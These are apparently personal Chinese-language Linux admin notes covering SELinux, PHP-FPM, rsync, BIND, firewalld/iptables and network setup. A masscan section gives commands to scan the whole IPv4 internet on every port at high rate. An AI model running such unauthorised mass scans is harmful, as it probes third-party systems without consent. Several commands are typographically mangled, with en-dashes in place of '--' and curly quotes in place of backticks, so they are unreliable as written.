关闭SELINUX
vi /etc/selinux/config
#SELINUX=enforcing #注释掉
#SELINUXTYPE=targeted #注释掉
SELINUX=disabled #增加
:wq #保存,关闭
shutdown -r now #重启系统
发布网站要修改网站目录及子目录权限
chmod -R 755 126tyc
chown -R apache:apache 126tyc
=============
12,lnmp环境
监控总体带宽使用――nload、bmon、slurm、bwm-ng、cbm、speedometer和netload监控总体带宽使用(批量式输出)――vnstat、ifstat、dstat和collectl每个套接字连接的带宽使用――iftop、iptraf、tcptrack、pktstat、netwatch和trafshow每个进程的带宽使用――nethogs
作者:宏宏
链接:https://www.zhihu.com/question/19862245/answer/121624101
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
=======
13,php-fpm
PHP-FPM是一个PHP FastCGI管理器,是只用于PHP的。
PHP-FPM其实是PHP源代码的一个补丁,旨在将FastCGI进程管理整合进PHP包中。必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
原理:
- Web服务器启动时,载入FastCGI进程管理器;
- FastCGI进程管理器初始化,启动多个CGI解释器进程(PHP-CGI)并等待来自Web服务器的连接;
- 当客户端请求到达Web服务器时,FastCGI进程管理器选择并连接到一个CGI解释器,Web服务器将CGI环境变量和标准输入发送到FastCGI子进程PHP-CGI。
- FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回给Web服务器。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web服务器中)的下一个连接。而在CGI模式中,PHP-CGI在此便退出了。
在上述情况中,可以想象CGI通常有多慢,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。另外,数据库持久连接可以工作。
NOTE:
FastCGI的主要优点是把动态语言和HTTP Server分离开来,所以Nginx与PHP/PHP-FPM经常被部署在不同的服务器上,以分担前端Nginx服务器的压力,使Nginx专一处理静态请求和转发动态请求,而PHP/PHP-FPM服务器专一解析PHP动态请求。
kill -INT ‘cat /usr/local/php/var/run/php-fpm.pid’ #php-fpm关闭
kill -USR2 ‘cat /usr/local/php/var/run/php-fpm.pid’ #php-fpm重启
killall php-fpm
/usr/local/php/sbin/php-fpm &
=========================
14,rsync
一,安装
编辑
Ubuntu安装: sudo apt-get install rsync
RedHat: yum install rsync
编译安装
rsync的编译安装非常简单,只需要以下简单的几步:
[root@www rsync-2.4.6]# ./configure
[root@www rsync-2.4.6]# make
[root@www rsync-2.4.6]# make install
但是需要注意的是必须在服务器A和B上都安装rsync,其中A服务器上是以服务器模式运行rsync,而B上则以客户端方式运行rsync。这样在web服务器A上运行rsync守护进程,在B上定时运行客户程序来备份web服务器A上需要备份的内容。
二,服务器端启动
usr/bin/rsync –daemon –config=/etc/rsyncd/rsyncd.conf
三,客户端同步
rsync -参数 用户名@同步服务器的IP::rsyncd.conf中那个方括号里的内容 本地存放路径 如:
rsync -avzP nemo@192.168.10.1::nemo /backup
说明:
-a 参数,相当于-rlptgoD,-r 是递归 -l 是链接文件,意思是拷贝链接文件;-p 表示保持文件原有权限;-t 保持文件原有时间;-g 保持文件原有用户组;-o 保持文件原有属主;-D 相当于块设备文件;
-z 传输时压缩;
-P 传输进度;
-v 传输时的进度等信息
======
15,dns DNS server
yum install bind
vi /etc/named.conf
vi /etc/named.rfc1912.zones
service named start #启动DNS服务
zone文件说明==========
$ORIGIN kernel.org
www CNAME www1
等同于
www.kernel.org. CNAME www1.kernel.org.
@等价于$ORIGIN
“@”代表相应的域名,也就是在named.conf中设定的zone,如在这里表示ixdba.net,IN表示后面的数据使用的是INTERNET标准。SOA,全称是“Start Of Authority”的意思,表示目前区域授权开始。
用DNSmasq搭建小型的内网DNS
=====
16,安装php和php-fpm
下载源码包
tar -xvf php-5.5.13.tar.bz2
cd php-5.5.13
./configure –prefix=/usr/local/php –with-config-file-path=/etc –enable-inline-optimization –disable-debug –disable-rpath –enable-shared –enable-opcache –enable-fpm –with-fpm-user=www –with-fpm-group=www –with-mysql=mysqlnd –with-mysqli=mysqlnd –with-pdo-mysql=mysqlnd –with-gettext –enable-mbstring –with-iconv –with-mcrypt –with-mhash –with-openssl –enable-bcmath –enable-soap –with-libxml-dir –enable-pcntl –enable-shmop –enable-sysvmsg –enable-sysvsem –enable-sysvshm –enable-sockets –with-curl –with-zlib –enable-zip –with-bz2 –with-readline –without-sqlite3 –without-pdo-sqlite –with-pear
make && make install
cd /usr/local/php/bin/
./php -v #查看php版本
=====
17,拨号上网pppoe
yum install rp-pppoe
pppoe-setup
/sbin/ifup ppp0
/sbin/ifdown ppp0
adsl-setup
adsl-start
adsl-stop
=====
masscan
masscan 0.0.0.0/0 -p0-65535 全网扫描
masscan 0.0.0.0/0 -p0-65535 –excludefile exclude.txt
不扫描exclude.txt文件中指定的段
masscan 0.0.0.0/0 -p0-65535 -oX scan.xml 输出结果到文件scan.xml
masscan 0.0.0.0/0 -p0-65535 –max-rate 100000
vi conf.txt
rate = 100000
output-format = xxx
output-status = all
output-filename = xxx.xxx
ports = 0-65535
range = 0.0.0.0-255.255.255.255
excludefile = exclude.txt
masscan -c conf.txt 加载配置文件conf.txt
=======================CentOS redhat==================
=======================CentOS 7=======================
使用firewall做防火墙
firewall-cmd –list-all-zones #检查firewall开放的端口
firewall-cmd –zone=public –add-port=80/tcp –permanent
等同于vim /etc/firewall/zones/public.xml,开放端口80
firewall-cmd –reload #重载配置
service firewalld restart #重启防火墙
service firewalld start
service firewalld stop
systemctl status firewalld #查看防火墙状态
firewall-cmd –state #检查防火墙状态
firewall-cmd –list-all
systemctl start firewalld.service
使用iptables,ip6tables静态防火墙
yum install iptables-services
systemctl mask firewalld.service
systemctl enable iptables.service
systemctl enable ip6tables.service
vim /etc/sysconfig/iptables
vim /etc/sysconfig/ip6tables
systemctl stop firewalld.service
systemctl start iptables.service
systemctl start ip6tables.service
=======================debain,ubuntu==================
1,ip 配置
vim /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
route add default gateway 192.168.1.1 # 添加默认网关
kali ip配置
vi /etc/network/interfaces
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.0.2
netmask 255.255.255.0
gateway 192.168.0.1
/etc/init.d/networking restart
2,dns配置
vim /etc/resollv.conf
nameserver 8.8.8.8
nameserver 114.114.114.114
sudo /etc/init.d/networking restart
sudo ifconfig eth0 down
sudo ifconfig eth0 up
3,cat /etc/issue #查看系统版本
====================freebsd=============
1,ip配置
ee /etc/rc.config 或者用ee /etc/rc.config
hostname=”Panabit81.com”
sshd_enable=”YES”
syslogd_enable=”NO”
ifconfig_le0=”inet 192.168.11.11 netmask=255.255.255.0”
defaultrouter=”192.168.11.1”
sh /etc/rc #重启网络
/etc/netstart #也是重启网络
2,dns配置
/etc/nsswitch.conf #决定要先用/etc/hosts还是/etc/resolv.conf
vi /etc/resolv.conf
nameserver 8.8.8.8
nameserver 114.114.114.114
vi /etc/nsswitch.conf
hosts: files dns #files就是/etc/hosts,dns是/etc/resolv.conf
密钥转换
OpenSSH private key 转换成Putty private key
.opk转.ppk
应用场景:主要是SecureCRT的私钥转换成.ppk用在winscp
转换方法:winscp,ssh->authentication->Private key
file选中CRT中的私钥,然后winscp会自动识别并提示转换,按向导操作即可